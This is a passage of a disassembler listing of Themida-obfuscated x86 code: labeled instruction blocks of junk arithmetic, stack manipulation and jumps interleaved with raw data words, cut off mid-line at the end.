--------------------------------------------------------------------------- aSss9 db 'SéS9',0 align 4 dd 0C875B5Ah, 24248B24h, 81E78957h, 4C7h, 4C78100h, 0E9000000h dd 0FFFFF01Ch, 0A37AE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555D5E: ; CODE XREF: Themida_:00562CACj mov ebp, 4 jmp loc_561E7D ; --------------------------------------------------------------------------- dd 2B8h, 0E9F6E900h, 8B660000h, 0AE9241Ch, 51FFFFC1h, 4EC81h dd 3C890000h, 0F5BE5624h, 506D7F6Fh, 0CD63EAB8h, 6BE02D07h dd 65E96DC7h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D9B: ; CODE XREF: Themida_:00552017j push 0E3E799Bh pop esi push ebx mov ebx, 0E3E7997h sub esi, 27540099h sub esi, ebx add esi, 27540099h jmp loc_55FEB5 ; --------------------------------------------------------------------------- dw 348Bh dd 0C728E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DC2: ; CODE XREF: Themida_:00558A73j mov ebp, esp jmp loc_55AF9B ; --------------------------------------------------------------------------- db 81h, 0EFh, 3Bh dd 52618D15h, 0E264D9BAh, 0E933E90Eh, 815F0000h, 405407E1h dd 2DF7E937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555DE6: ; CODE XREF: Themida_:00564A1Aj pop ebx jmp loc_553487 ; --------------------------------------------------------------------------- dd 24348B52h, 8B04C483h, 0C4812414h, 4, 8E99E951h, 0C4810000h dd 4, 0A294C681h, 0F501E5FDh, 8B2434FFh, 0C4812434h, 4 dd 1A3E9h, 5FB85000h, 81C430E4h, 0FD3B1EEEh, 0E9C6013Fh dd 25F2h, 32E7EE81h, 0E9554074h, 473h, 4C481h, 0C4810000h dd 4, 0FFA931E9h, 0EAE981FFh, 81733B3Fh, 2D6F49E9h, 8E1817Eh dd 0F714A45Dh, 0E7A5E9D9h, 85B60000h, 0F12890B1h, 22E1805Ah dd 4BC5E9h, 3C895C00h, 51C86824h, 37E90000h, 830000B1h dd 3C8904ECh, 73685224h, 5A306134h, 6702B951h, 0CA3151DFh dd 83240C8Bh, 0F28104C4h, 24FE375Ah, 68F7F281h, 0EE96846h dd 0B9000050h, 1E5C2DC3h, 21D7C181h, 0F1816DF8h, 0E03004EEh dd 5A59CF29h, 35A7C381h, 0FB29247Dh, 35A7EB81h, 315F247Dh dd 0A542E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555EDE: ; CODE XREF: Themida_:00562B42j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edx push 1Ch push dword ptr [esp] jmp loc_562B47 ; --------------------------------------------------------------------------- loc_555EFC: ; CODE XREF: Themida_:00555144j or edx, 5978108Ch jmp loc_55F5AB ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 0F0B25224h, 8890EA80h, 4DBE9D4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F1A: ; CODE XREF: Themida_:0055182Cj xor al, bl mov bx, [esp] push 5B43h mov [esp], edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] add bl, 70h jmp loc_563C10 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4EA8300h, 5C241487h, 77A7E9h db 0 ; --------------------------------------------------------------------------- loc_555F55: ; CODE XREF: Themida_:0055BF20j pop ebp or ecx, 3FB377D8h push 4523h jmp loc_556837 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 0FFBD36E9h db 0FFh ; --------------------------------------------------------------------------- loc_555F71: ; CODE XREF: Themida_:005531BCj pop ecx sub esp, 4 jmp loc_56063D ; --------------------------------------------------------------------------- db 81h, 0F1h, 0E3h dd 21686D48h, 0B98FE9CAh, 815DFFFFh, 66644DC3h, 81D32925h dd 66644DEBh, 5DC38125h, 0E974594Eh, 693Dh, 8704EA83h dd 0E95C2414h, 0F6CAh ; --------------------------------------------------------------------------- loc_555FB0: ; CODE XREF: Themida_:0055BC56j sub ebx, 5901242Eh add ebx, ecx jmp loc_559017 ; --------------------------------------------------------------------------- db 0B5h, 0F2h, 0E9h dd 9A4Ch, 4C481h, 0C1E90000h, 5F0000C6h, 5F2434FFh, 8104C483h dd 4C7h, 4EC8300h, 83242C89h, 46E904ECh, 58000011h, 0AE09E9h dd 243C8900h, 642D4BBFh, 6ABE5636h, 4E5F1D33h, 98F68146h dd 914E15Dh, 0CF815EF7h, 3A9205B4h, 5128EF81h, 0D7877A67h dd 83D78742h, 148904ECh, 1B95124h, 814B2872h, 1A38CBF1h dd 0FE1FE96Dh, 0E089FFFFh, 405h, 40500h, 4870000h, 0C360E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556046: ; CODE XREF: Themida_:0055DB6Aj sub ecx, 618147DFh add ecx, edi add ecx, 618147DFh mov edi, [esp] add esp, 4 push eax jmp loc_556B67 ; --------------------------------------------------------------------------- db 59h dd 0BE95053h, 330000F4h, 205C2434h, 0E99C2404h, 0FFFFEC3Dh dd 4246C81h, 67F5AB4h, 4245C01h, 4244481h, 67F5AB4h, 5B2434FFh dd 81E78957h, 4C7h, 11E95300h db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55609F: ; CODE XREF: Themida_:005525D6j add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], bx jmp loc_55181E ; --------------------------------------------------------------------------- db 0BFh, 36h, 6Ah dd 0F88910A0h, 8EA2E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5560CA: ; CODE XREF: Themida_:00563F2Bj mov ebp, [esp] jmp loc_559A04 ; --------------------------------------------------------------------------- loc_5560D2: ; CODE XREF: Themida_:00560451j add ebp, 4 jmp loc_55C8C7 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 66000000h, 83240C8Bh, 526602C4h, 0C69AE951h, 0E95C0000h dd 0FFFFCD05h, 1903A32Dh, 9DBA5267h, 0E918DC24h, 44E7h ; --------------------------------------------------------------------------- loc_556108: ; CODE XREF: Themida_:0055F72Aj xchg ebp, edi jmp loc_558F55 ; --------------------------------------------------------------------------- db 0BAh dd 337A4C91h, 0E2C1DAF7h, 0C2814A07h, 0C7ABAC6h, 505AD589h dd 8784E9h, 242C8B00h, 0FFFB2BE9h, 0E9C229FFh, 0FFFFCE0Bh dd 28507CB8h, 5078352Ch, 63E92C28h, 8700006Eh, 74E9242Ch dd 5DFFFFACh, 8324048Bh, 40504C4h, 2D000000h, 4, 0C029E9h dd 24048F00h, 0E924248Bh, 8EBAh, 48FCF781h, 7C016DD8h dd 50E90424h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55617F: ; CODE XREF: Themida_:005526E1j pop ebx sub ebx, 11961A10h and ebx, 1D57530Ah sub ebx, 1 add ebx, 0FFFFFFFFh xor ebx, 7C2Eh xor ebx, 42B130D8h and ebx, 75FC16FCh xor ebx, 4B635D03h and ebx, 70384AF9h push esi mov esi, 584D1BA1h shr esi, 4 add esi, 0EA7BE34Dh sub ebx, 297A170Ch add ebx, esi push ecx jmp loc_557C36 ; --------------------------------------------------------------------------- dd 0D1685557h, 5D0CFD64h, 5874F581h, 524D3F32h, 790844BAh dd 5AD50125h, 0F1C9E9h, 242C8A00h, 0BE01E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5561F6: ; CODE XREF: Themida_:0055C88Ej add eax, edx sub eax, 37EF157Bh jmp loc_561175 ; --------------------------------------------------------------------------- loc_556202: ; CODE XREF: Themida_:00551E65j pop edx sub esi, 460E010Fh sub esi, ebx add esi, 460E010Fh push ecx mov ecx, 2AC5A6Eh sub esi, ecx pop ecx push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor esi, 1FC76594h push ebx mov ebx, 8F43F98h or ebx, 36266DDCh push edx mov edx, 26345C7Eh jmp loc_554B15 ; --------------------------------------------------------------------------- dd offset dword_55195C+0Ch dw 0E900h dd 7DB5h, 0C181E189h, 4, 4C181h, 0C870000h, 0C2A8E924h dd 555EFFFFh, 1AE9FD89h, 880000B2h, 88525BD9h, 5AF788CEh dd 24048B59h, 0FFC0ACE9h, 243487FFh, 67856856h, 14890000h dd 525A5E24h, 5A2414F7h, 0FFE9DCE9h, 37F181FFh, 41197635h dd 2B1AE981h, 0F9E9ED30h, 0BDFFFFE2h, 5DCF440Eh, 4EC81h dd 1C890000h, 6786BB24h, 1CE92506h, 0B90000C5h, 1D413690h dd 3D7FF181h, 0BF577EF8h, 0FFFFFFFFh, 815FF901h, 392067E9h dd 0DBC1815Dh, 316433E3h, 2434FFC8h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 47647D43h neg esi and esi, 1E6C7B78h add esi, 0E7F7FDCCh add ebp, esi pop esi push eax mov eax, 4 add ebp, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebp, [esp] pop esp push ebx push 2E10h mov [esp], ebp jmp loc_551321 ; --------------------------------------------------------------------------- aNPsL db 'š',7,'N&Péšl',0 align 2 dw 0E95Dh dd 0FFFFA0D8h, 0E1ECE959h, 45B90000h, 2964EC62h, 0D08AE9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55635A: ; CODE XREF: Themida_:0056271Bj mov [esp], edx jmp loc_558185 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0ED99E9h, 59CF8900h, 815FFD01h, 4C5h, 242C8700h dd 0BF57505Ch, 3F6310AEh, 6310B2B8h, 0E9F8293Fh, 0FFFFF014h dd 0B8645705h, 0D908E919h, 17BF0000h, 8171301Ah, 5B7258C7h dd 5CE56878h, 1C890000h, 0CD33BB24h, 0DF0187D6h, 5FF8295Bh dd 0C8ACE956h, 2BDFFFFh, 89000000h, 0EB815DEAh, 5B027088h dd 5D73EB81h, 0D3013796h, 0A7FCE9h db 0 ; --------------------------------------------------------------------------- loc_5563D9: ; CODE XREF: Themida_:0055AA58j mov esp, [esp] pop dword ptr [esp] jmp loc_5519F6 ; --------------------------------------------------------------------------- aUs_0 db 'Uéם',0 align 2 dw 2C33h dd 24248B24h, 211E9h, 79E95A00h, 50FFFFA9h, 2B8h, 4ABF5700h dd 168D232h, 0A9E95FFEh, 4A000092h, 7685253h, 5A0C5712h dd 63CCF281h, 0DAF720C4h, 8106E2C1h, 0AEC412C2h, 5AD3897Ch dd 60C5F381h, 0E9524091h, 0DD82h, 73AB850h, 0D4350238h dd 5749671h, 7412DE1h, 0FFABF5E9h, 0C8B66FFh, 9026824h dd 3C890000h, 0D9E95424h, 0AC000039h, 4A3C6866h, 0FFC856E9h db 0FFh ; --------------------------------------------------------------------------- loc_556469: ; CODE XREF: Themida_:005531C4j push 4D463AE3h jmp loc_557AA2 ; --------------------------------------------------------------------------- loc_556473: ; CODE XREF: Themida_:00557BAEj sub bl, al add bl, 0FAh push ecx mov cl, 0A9h neg cl not cl inc cl sub cl, 1Bh sub cl, 92h add bl, 38h jmp loc_554AB9 ; --------------------------------------------------------------------------- db 68h dd 3F9501BFh, 0BBEE815Eh, 893F9501h, 0C1015EF0h, 582434FFh dd 0ABDEE952h, 48BFFFFh, 35A6824h, 0C890000h, 81E18924h dd 4ECh, 24148900h, 0FFB8B9E9h, 81D701FFh, 2A49CCEFh, 47C78131h dd 0E905D65Eh, 0D11Ah, 6D57E943h, 3B680000h, 0E9000063h dd 0E620h, 8027F680h, 0F528B9EEh, 7EF5805Ah, 0C8BEC20h dd 4C48324h, 383868h, 24148900h, 0DF95E9h, 0E7895700h dd 4C781h, 0FE680000h, 89000005h, 4B9240Ch, 1000000h, 3C8759CFh dd 0BE565C24h, 460A6C1Fh, 0FFD031E9h, 243487FFh, 0FF24248Bh dd 0E9582434h, 0E9DDh ; --------------------------------------------------------------------------- loc_556540: ; CODE XREF: Themida_:0055ECD5j add esi, ebx pop ebx push ebx push ebp mov ebp, 4 mov ebx, ebp pop ebp add esi, ebx jmp loc_55BCEB ; --------------------------------------------------------------------------- loc_556554: ; CODE XREF: Themida_:00563BA3j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ecx jmp loc_5582E5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFB00Ah, 0EB81F301h, 725356B1h, 14FABA52h dd 98E96C0Dh, 590000EDh, 0FF9E8FE9h, 240489FFh, 0FF9E87E9h dd 0C6EE81FFh, 0E9782032h, 0FFFFE6AAh, 455489BAh, 5AD7293Ah dd 2131C781h, 0D7017A04h, 2131EF81h, 0C7817A04h, 3A455489h dd 0FFFE015Ah, 34FF2434h, 0C4835F24h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add esi, 2 xor esi, [esp] jmp loc_5636A3 ; --------------------------------------------------------------------------- db 29h, 0EBh, 81h dd 0E42CFCC3h, 0C2EB8118h, 5D6C164Eh, 0AC75E953h, 48FFFFFh dd 24248B24h, 0C8BE0F66h, 0FFBBACE9h, 2552B9FFh, 0A8E92850h dd 58000037h, 8904EC83h, 0EC812414h, 4, 52243C89h, 83CF4BAh dd 3D2C6818h, 505F1808h, 0E71258B8h, 0A02D402Fh, 0E9C829C2h dd 0FFFFEDE2h ; --------------------------------------------------------------------------- loc_55664C: ; CODE XREF: Themida_:005612CFj push eax push ebp jmp loc_56032F ; --------------------------------------------------------------------------- db 87h dd 0E9D3F7DDh, 0FFFFB591h, 8704C483h, 895C240Ch, 9CB9240Ch dd 0E900FD06h, 7B2h, 6A2FB951h, 89526886h, 82AEE9CAh, 0F660000h dd 9C2404ABh, 0FF9D97E9h, 0FFC683FFh, 418368h, 3B4FE900h dd 2C800000h, 74E98B24h, 0B40000CEh, 0D1DFE96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5566A6: ; CODE XREF: Themida_:00564A10j mov esi, 4CB81DF7h sub esi, 31B3617Bh add esi, 0CFC6EFDh and esi, 3A7919EAh shr esi, 1 jmp loc_55ED75 ; --------------------------------------------------------------------------- loc_5566C4: ; CODE XREF: Themida_:005547D6j sub ebx, 815444E3h or ecx, ebx mov ebx, [esp] jmp loc_55E21C ; --------------------------------------------------------------------------- loc_5566D4: ; CODE XREF: Themida_:00553E96j mov edx, 2AC5A6Eh jmp loc_551E63 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFB3F7h, 0F104F381h, 0DD01B77Fh, 5B2434FFh, 8304C483h dd 0F6E904C5h, 0F700001Ah, 0CDE92414h, 81FFFFB3h, 84D2DBC2h dd 5AD789DBh, 575FFE01h, 0F754ADBFh, 0BBE78126h, 0E9229754h dd 15D6h, 0E241E95Bh, 0E941FFFFh, 3C08h, 58C3015Fh, 1C8BD829h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 73FAC381h dd 0C301529Fh, 73FAEB81h, 34FF529Fh, 0C9E95824h, 59000084h dd 6768E9h, 241C8700h, 8E8DE9h, 17E95D00h, 100005Bh, 0C7815AD7h dd 2, 0E9243C33h, 7778h, 12EFE95Eh, 0EE810000h, 4, 0E9243433h dd 1009h, 242C8B5Bh, 56E38953h, 881D9DBEh, 0FFC68338h dd 3D46E9h, 8BEE2900h, 0C481242Ch, 4, 24343358h, 189E9h dd 241C8900h, 0BE9E389h, 56000060h, 5847B2BEh, 0B10FE91Ah dd 0E9590000h, 0FFFFE1F8h, 4C781h, 7EE90000h, 5700003Fh dd 4BFh, 5FFA2900h, 0E9241487h, 873Bh, 4C181h, 0C1810000h dd 4, 5C240C87h, 3CE9C330h, 890000C8h, 4C581E5h, 83000000h dd 9FE904C5h, 680000A8h, 4322h, 81241C89h, 4ECh, 557E900h dd 0E9E90000h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556837: ; CODE XREF: Themida_:00555F61j mov [esp], ebp jmp loc_560975 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0BB530000h, 4, 0EA665C2Dh, 5D80120h, 20EA665Ch dd 28F6E9h, 2414F700h, 4EC835Dh, 55240489h, 0BF4A43BDh dd 0F1D5B851h, 0E8010289h, 2419255Dh, 0E7E94698h, 810000BEh dd 1B1BA9EDh, 0D7685A2Eh, 89000070h, 5AE9240Ch, 5300002Fh dd 0DC249DBBh, 1AF82D18h, 0D8016754h, 541AF805h, 30E95B67h dd 81000081h, 8154A6EDh, 5DEB29D3h, 7FE9EB81h, 0D9E960AAh dd 5700009Eh, 9A5EF2BFh, 292CE943h, 0E2810000h, 208167C5h dd 0EA81D2F7h, 9D5AB460h, 0F5E9D789h, 810000E0h, 4C4h dd 0E9E1F700h, 0FFFFC288h, 0F8000FB7h, 0E9F8005Bh, 3BE2h dd 5C241487h, 4EC81h, 24E90000h, 5DFFFFC7h, 5A6F68h, 240C8900h dd 2468h, 240C8B00h, 4C481h, 0E9810000h, 1D17744Eh, 0BAEE981h dd 0F9013609h, 0BAEC181h, 0B1E93609h, 66FFFFD1h, 0E9240489h dd 0FFFF9AE0h, 907E6B68h, 0ADAFE926h, 34310000h, 24343324h dd 0E9F7665Ch, 434B68h, 9FDE900h, 0BFB80000h, 0E9496B25h dd 166Ah, 0D5E952ADh, 51FFFFD9h, 0FFE336E9h db 0FFh ; --------------------------------------------------------------------------- loc_556975: ; CODE XREF: Themida_:005614C8j push ebp mov ebp, 0 sub ebp, ebx push ebp add dword ptr [esp], 32EF4B87h pop ebx sub ebx, 32EF4B87h pop ebp push edx mov edx, 600379CCh jmp loc_565379 ; --------------------------------------------------------------------------- loc_556998: ; CODE XREF: Themida_:005655A9j add edi, 4 jmp loc_554332 ; --------------------------------------------------------------------------- db 28h dd 0E97D04D8h, 0E073h, 110B2005h, 2DE82931h, 31110B20h dd 8D4AD62Dh, 37055D7Fh, 117197Ch, 7C372DF0h, 0D051719h dd 8B24FD40h, 3DE92434h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5569D7: ; CODE XREF: Themida_:005588D4j pop dword ptr [esp] mov esp, [esp] jmp loc_55A245 ; --------------------------------------------------------------------------- dw 0C083h dd 3ABAE904h, 680000h, 81000000h, 2F9C242Ch, 34295FB1h dd 6591E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5569FE: ; CODE XREF: Themida_:005637F5j pop ecx xchg ebp, [esp] mov esp, [esp] push 0A5Dh mov [esp], eax push esp pop eax add eax, 4 sub esp, 4 jmp loc_563870 ; --------------------------------------------------------------------------- aFS4 db 'f[éĎ4',0 align 2 loc_556A26: ; CODE XREF: Themida_:005585B8j push 29C72292h mov ebp, [esp] add esp, 4 xor ebp, 58FC3E12h mov ecx, ebp pop ebp xor ecx, 7AAB46D3h push esi push edx mov edx, ecx mov esi, edx pop edx mov eax, esi pop esi pop ecx not eax add eax, 5F7E6CF3h neg eax xor eax, 678241EFh sub esi, eax jmp loc_56511C ; --------------------------------------------------------------------------- dd 6CBE5651h, 0B90B3235h, 52864FE5h, 348BF131h, 4C48324h dd 0FFC8E7E9h, 242C33FFh, 52BAE9h db 0 ; --------------------------------------------------------------------------- loc_556A81: ; CODE XREF: Themida_:00558268j mov ecx, 5AAD11C9h jmp loc_55E054 ; --------------------------------------------------------------------------- db 1 dd 0CDBA52C7h, 0E957F874h, 0FFFFD002h ; --------------------------------------------------------------------------- loc_556A98: ; CODE XREF: Themida_:00559CEFj pop edx add eax, edx pop edx push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_565992 ; --------------------------------------------------------------------------- dw 0BB53h dd 61771512h, 5783EB81h, 834B10BEh, 0B9E9FFEBh, 810000A3h dd 0B44A75C5h, 81D52948h, 0B44A75EDh, 0DA42E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556ADE: ; CODE XREF: Themida_:0055E8D8j add edi, 3E3A4A94h shl edi, 2 add edi, 0A1867434h add ebp, edi jmp loc_5532C5 ; --------------------------------------------------------------------------- dd 4245401h, 0D330E95Ah, 0C4830000h, 48BE5604h, 8159AB3Eh dd 9D61EFC6h, 33F68158h, 1B248A0h, 0B969E9F1h, 0F2810000h dd 1A4597E0h, 1E9D089h, 28FFFFB7h, 5F5457D8h, 0FFFCABE9h dd 66D5F6FFh, 0E666E952h, 0E9810000h, 4, 8B240C87h, 0F6E92424h dd 5BFFFFB9h, 850CE9h, 1EF68100h, 1326465h, 24348BF5h dd 4C481h, 64E90000h db 0D6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556B67: ; CODE XREF: Themida_:0055605Ej mov eax, 0 sub eax, ecx push eax pop ecx pop eax push edx mov edx, 2D1D1381h xor ecx, edx pop edx sub ecx, 5AC882FEh mov edx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_559C89 ; --------------------------------------------------------------------------- dw 34FFh dd 0B54CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556BA2: ; CODE XREF: Themida_:0055B431j mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 jmp loc_55A617 ; --------------------------------------------------------------------------- dw 65E9h dd 0B0FFFF98h, 0E9D30C72h, 48FAh, 154D68h, 0B629E900h dd 15BFFFFh, 78BD55F0h, 101D226h, 242C8BE8h, 4C481h, 0D62D0000h dd 0FF088344h, 0E95E2434h, 0FFFFC5A6h, 34FF5450h, 24048B24h dd 0E904C483h, 739Ah, 0BF243C89h, 124313D3h, 5302EFC1h dd 0F81107BBh, 5BDF311Bh, 4702EFC1h, 0D410C781h, 75E90787h dd 520000E9h, 0E13331BAh, 5AD7892Ch, 0FFE52FE9h, 5003B1FFh dd 642AE9h, 4F885B00h, 2434FF28h, 8987E9h, 0E9E58900h dd 0FFFFC6EAh, 0E9E38953h, 461h, 0C159CD89h, 0F58107EDh dd 51ACDAh, 34FFEE29h, 0CDE95D24h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C6B: ; CODE XREF: Themida_:0055ECF3j sub edi, 1CA1577Ah pop ebx add edi, 4 jmp loc_55CAE3 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0FFF5C9E9h, 240C89FFh, 7A7632B9h, 27BA522Bh, 8147046Ah dd 0F4284CCAh, 87C2815Bh, 81363846h, 128119C2h, 5AD12992h dd 5BB4C981h, 0D9F77B2Bh, 0C1E7F181h, 0CB31D79Dh, 0C5EB8159h dd 1525900h, 241C8BDAh, 5704C483h, 4BFh, 0E9FA0100h, 73D4h ; --------------------------------------------------------------------------- loc_556CD4: ; CODE XREF: Themida_:005544E9j not ebx add ebx, 61235Fh jmp loc_551FB2 ; --------------------------------------------------------------------------- loc_556CE1: ; CODE XREF: Themida_:0055168Ej mov edx, [esp] add esp, 4 jmp loc_563BA0 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF972Ch, 52E68956h, 0C281E289h, 4, 4EA81h, 14870000h dd 4895C24h, 1265B824h, 6852157Eh, 57AF1352h, 5AD0295Ah dd 5A510B05h, 0D7E95213h, 53000059h, 241C8B54h, 4C481h dd 50560000h, 0B07D24B8h, 58C68910h, 0EEC1DEF7h, 81464604h dd 0B07D5C6h, 0E6EB81F1h, 15D9A11h, 0E6C381F3h, 5E5D9A11h dd 0BB10E9h db 0 ; --------------------------------------------------------------------------- loc_556D5D: ; CODE XREF: Themida_:00554322j push edi push esp pop edi sub esp, 4 mov [esp], esi mov esi, 4 sub esp, 4 mov [esp], edx mov edx, 40655A4Eh sub edi, edx pop edx add edi, esi sub esp, 4 mov [esp], ecx jmp loc_55B0A3 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 94D3E9h, 24248900h, 4BF57h, 7C010000h, 8F5F0424h, 0AB682404h dd 0E900007Bh, 9072h, 43EC381h, 0F3015BA8h, 43EEB81h, 665E5BA8h dd 6600B60Fh, 66263968h, 0E9240489h, 0FFFFC2CEh, 4C481h dd 0E9530000h, 0E9AFh, 4244401h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_555852 ; --------------------------------------------------------------------------- dd 0FFFFEE81h, 0E681FFFFh, 2C121309h, 5AFFC681h, 0B85057A9h dd 0D89F87A9h, 8158C601h, 85D4AE9h, 81F10101h, 85D4AC1h dd 2C8CE901h, 0CE310000h, 83240C8Bh, 0B5E904C4h, 0F7FFFFF5h dd 60FB35D0h, 0C6292AF0h, 39E3E9h, 24148900h, 554C0FBAh dd 5AD63106h, 0FFBA2EE9h, 53E189FFh, 3CEFBE56h, 15BB1AF4h dd 1E50BC3h, 0D9015EF3h, 25E1E95Bh, 0A2680000h, 89000035h dd 0F5E9241Ch, 590000E2h, 169BE9h, 2474FF00h, 0E7BEE904h dd 0DA01FFFFh, 3107C281h, 0EA81190Dh, 41514422h, 50241C8Bh dd 4055854h, 5000000h, 4, 2474FF50h, 48F5804h, 0BB535C24h dd 6EE24609h, 0FFCEF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_556EB5: ; CODE XREF: Themida_:00550F8Bj pop eax jmp loc_55282B ; --------------------------------------------------------------------------- db 85h dd 5DE99CC8h, 83FFFF95h, 0A8E904C4h, 51FFFFE2h, 0CE88F988h dd 24BB6859h, 4890000h, 88F08824h, 8B5A58C5h, 7E9241Ch dd 5500008Ah, 42474FFh, 69CCE9h, 4C48300h, 6CC6C281h, 815B3242h dd 717C5CC3h, 0B7EB8144h, 0E9610856h, 0FFFFDE82h, 0ABA5253h dd 8125CF4Ch, 923CBE2h, 11EA8138h, 8110D856h, 6D7AD5C2h dd 0BC96E909h, 0EC80FFFFh, 0E64EE98Ah, 8352FFFFh, 96E904ECh dd 59000087h, 5E08950h, 4, 405h, 2179E900h, 0DE010000h dd 0FFF843E9h, 2434FFFFh, 682B6858h, 78E90000h, 5D0000E7h dd 8B24048Fh, 0F1F62424h, 0CCB60F66h, 487F6866h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 0FFFF949Ch, 4E9CA29h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556F8B: ; CODE XREF: Themida_:0055BC34j sub eax, ecx jmp loc_55DD35 ; --------------------------------------------------------------------------- aPh db 'PhŇ',7,0 align 4 dd 88241489h, 0D18851DAh, 0FF59CC88h, 148B2434h, 4C48324h dd 8804C483h, 885B58E5h, 2434FF28h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55403F ; --------------------------------------------------------------------------- db 53h, 0B3h, 29h dd 0F6A7C380h, 90F380D3h, 515BDA00h, 88D0E9h, 4C58100h dd 83000000h, 59E904EDh, 89000032h, 4C581E5h, 81000000h dd 4C5h, 242C8700h, 0E11DE9h, 0B6C58100h, 8113FE16h, 0A15273F5h dd 5DEB0164h, 0E9241C87h, 0B938h, 1596F781h, 0F8013CF4h dd 0E9243C8Bh, 32Bh ; --------------------------------------------------------------------------- loc_557020: ; CODE XREF: Themida_:00561E82j add esp, 4 push esi mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp push ebx mov ebx, esp jmp loc_550C0A ; --------------------------------------------------------------------------- loc_557040: ; CODE XREF: Themida_:00561E71j mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_557048: ; CODE XREF: Themida_:0055ACD7j sub edx, 4EE97163h inc edx add edx, 0BAADCF7Fh add ebp, edx pop edx jmp loc_56112A ; --------------------------------------------------------------------------- loc_55705D: ; CODE XREF: Themida_:00557B22j mov eax, 4 sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], ecx push esp pop ecx push edi mov edi, 51174768h jmp loc_555955 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 5B2414F7h, 55EBC381h, 0BF570A9Ch, 0F3040B8h, 4E6AE781h dd 50512F04h, 3F7715B8h, 58C18913h, 0FFAB1CE9h, 241C8BFFh dd 4C481h, 0BF570000h, 2, 0FFE34BE9h, 4C381FFh, 0E9000000h dd 6E9Eh, 34FFD030h, 0EB3AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5570CA: ; CODE XREF: Themida_:00551EA9j sub edx, 2E787DA9h sub edx, eax add edx, 2E787DA9h mov eax, [esp] add esp, 4 sub edx, 72D66A05h sub esp, 4 jmp loc_553FE2 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2BF5700h, 810AD83Bh, 0B02BEEE7h, 8EFC106h, 604FEF81h dd 0EF81586Bh, 0A7972FD8h, 0E95FFD01h, 0CB7Dh, 55BD821h dd 12E82338h, 95E9C301h, 2D0000E4h, 150921EFh, 3C58E9h dd 243C8900h, 446483BFh, 89D9E94Fh, 215E0000h, 0E9C15FF9h dd 61FB6806h, 58E90000h, 29000095h, 0DEF75DEEh, 8F6BF681h dd 0F101D2AAh, 0FFD8E0E9h, 8BE901FFh, 0C483242Ch, 0E6E95104h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55716F: ; CODE XREF: Themida_:0055D484j pop ebp and ebp, 3EB51B5Ah sub ebp, 26A027BEh sub ebp, 0C303541Eh jmp loc_5616A5 ; --------------------------------------------------------------------------- db 5Ch dd 0E9241489h, 0EA1Fh, 0C800DFB1h, 75C0E9h, 57565F00h dd 0FFA9D7E9h, 0B4F381FFh, 0F714E1F8h, 73D868D3h, 14890000h dd 0FFFFBA24h, 0D329FFFFh, 0F4F3815Ah, 81D201A7h, 0E22866E9h dd 81D9011Ch, 0E22866C1h, 0B972E91Ch, 480FFFFh, 148ABD24h dd 4C48324h, 0FFC081E9h, 1D9A68FFh, 4890000h, 0FA885224h dd 88D38853h, 